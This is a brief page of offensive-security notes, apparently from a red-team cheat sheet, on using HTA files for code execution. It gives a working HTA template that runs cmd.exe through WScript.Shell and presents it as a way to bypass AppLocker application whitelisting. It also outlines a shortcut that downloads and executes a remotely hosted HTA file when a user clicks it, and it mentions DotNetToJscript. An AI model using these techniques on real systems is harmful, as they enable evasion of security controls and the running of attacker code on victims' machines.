HTA

Simple code template:

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

This will be beneficial for bypassing AppLocker

Shortcut

Create a shortcut that downloads and executes a hosting hta file when user clicked.

DotNetToJscript with HTA

Last updated